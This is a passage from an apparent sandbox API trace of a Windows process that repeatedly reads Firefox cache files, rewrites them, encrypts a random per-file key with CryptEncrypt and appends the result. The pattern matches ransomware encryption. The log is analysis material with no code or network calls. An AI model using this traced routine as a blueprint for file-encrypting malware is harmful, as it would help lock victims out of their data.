Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.079] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x190d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x190d, lpOverlapped=0x0) returned 1 [0186.098] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6413, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.098] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f51a0*, nNumberOfBytesToWrite=0x190d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f51a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x190d, lpOverlapped=0x0) returned 1 [0186.099] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x190d [0186.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.099] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e37c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e37c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.100] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.100] CloseHandle (hObject=0x1b80) returned 1 [0186.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4e78 | out: pbBuffer=0x30e4e78) returned 1 [0186.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0186.103] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\96090AC30D21DB80DB37F7E0C5E3C92231AAC295", dwFileAttributes=0x80) returned 1 [0186.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4f80 [0186.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.103] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x15fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x15fb, lpOverlapped=0x0) returned 1 [0186.119] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5627, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.119] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4e90*, nNumberOfBytesToWrite=0x15fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4e90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15fb, lpOverlapped=0x0) returned 1 [0186.120] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15fb [0186.120] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.120] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4e78*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4e78*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.120] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4e78*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4e78*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.121] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.121] CloseHandle (hObject=0x1b80) returned 1 [0186.123] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e37c8 | out: pbBuffer=0x30e37c8) returned 1 [0186.123] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.123] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9562ACA5B7D12C4434606DB907926F6EF9F36E1C", dwFileAttributes=0x80) returned 1 [0186.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4b60 [0186.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.123] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0186.129] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.129] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0186.129] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0186.129] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.130] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e37c8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.130] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e37c8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e37c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.130] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.130] CloseHandle (hObject=0x1b80) returned 1 [0186.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6000 | out: pbBuffer=0x30e6000) returned 1 [0186.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0186.133] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\950506BC89C1114E4E75E993855000430CECD9D9", dwFileAttributes=0x80) returned 1 [0186.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3cf0 [0186.134] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.134] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xb7d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xb7d, lpOverlapped=0x0) returned 1 [0186.144] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2941, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.144] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4410*, nNumberOfBytesToWrite=0xb7d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4410*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb7d, lpOverlapped=0x0) returned 1 [0186.145] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb7d [0186.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.145] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.145] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.146] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.146] CloseHandle (hObject=0x1b80) returned 1 [0186.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6420 | out: pbBuffer=0x30e6420) returned 1 [0186.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0186.148] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\941A1B56BB6C49802B2D2C51ED172A4A9F7D360C", dwFileAttributes=0x80) returned 1 [0186.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e6000 [0186.148] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.148] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x4ab7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ab7, lpOverlapped=0x0) returned 1 [0186.150] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-19127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.150] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x4ab7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ab7, lpOverlapped=0x0) returned 1 [0186.150] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ab7 [0186.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.150] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.151] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.151] CloseHandle (hObject=0x1b80) returned 1 [0186.153] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e6420 | out: pbBuffer=0x30e6420) returned 1 [0186.153] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.153] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\930D48D86E06AEFA87D0F4EC58A054957534F7E7", dwFileAttributes=0x80) returned 1 [0186.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5df0 [0186.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.153] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x23d41, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x23d41, lpOverlapped=0x0) returned 1 [0186.173] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-146753, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.173] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x23d41, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23d41, lpOverlapped=0x0) returned 1 [0186.174] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23d41 [0186.174] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.174] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e6420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e6420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.174] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e6420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.174] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.175] CloseHandle (hObject=0x1b80) returned 1 [0186.176] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5df0 | out: pbBuffer=0x30e5df0) returned 1 [0186.177] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.177] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\92B4D727ADE4E764DD3FA5E06965666378F08CFF", dwFileAttributes=0x80) returned 1 [0186.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5ce8 [0186.177] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.177] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4e9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e9, lpOverlapped=0x0) returned 1 [0186.178] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1257, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.178] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4e9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e9, lpOverlapped=0x0) returned 1 [0186.179] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e9 [0186.179] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.179] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5df0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5df0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.179] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e5df0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5df0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.179] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.180] CloseHandle (hObject=0x1b80) returned 1 [0186.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5df0 | out: pbBuffer=0x30e5df0) returned 1 [0186.181] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.182] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\926B4864A9252277C983BFD76A41E31DF701CB26", dwFileAttributes=0x80) returned 1 [0186.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e56b8 [0186.182] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.182] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xf36, lpOverlapped=0x0) returned 1 [0186.194] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.194] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f47c8*, nNumberOfBytesToWrite=0xf36, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f47c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf36, lpOverlapped=0x0) returned 1 [0186.194] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf36 [0186.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.194] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5df0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5df0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.195] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e5df0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5df0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.195] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.195] CloseHandle (hObject=0x1b80) returned 1 [0186.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5be0 | out: pbBuffer=0x30e5be0) returned 1 [0186.229] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.229] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\91FFA32B495A7A655236E9625A48F0CAACC3A677", dwFileAttributes=0x80) returned 1 [0186.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e56b8 [0186.229] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.230] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x524a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x524a, lpOverlapped=0x0) returned 1 [0186.231] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-21066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.231] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x524a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x524a, lpOverlapped=0x0) returned 1 [0186.231] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x524a [0186.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5be0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5be0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.232] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e5be0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5be0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.232] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.232] CloseHandle (hObject=0x1b80) returned 1 [0186.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e5ce8 | out: pbBuffer=0x30e5ce8) returned 1 [0186.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0186.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\9149829A8F4CDF7E46336AA2EB0F95DA9369301D", dwFileAttributes=0x80) returned 1 [0186.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e56b8 [0186.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0186.234] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1990, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1990, lpOverlapped=0x0) returned 1 [0186.279] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.279] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5220*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5220*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1990, lpOverlapped=0x0) returned 1 [0186.280] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1990 [0186.280] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0186.280] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e5ce8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e5ce8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0186.280] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e5ce8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5ce8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0186.281] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0186.281] CloseHandle (hObject=0x1b80) returned 1 [0186.283] CryptGenRandom (in: 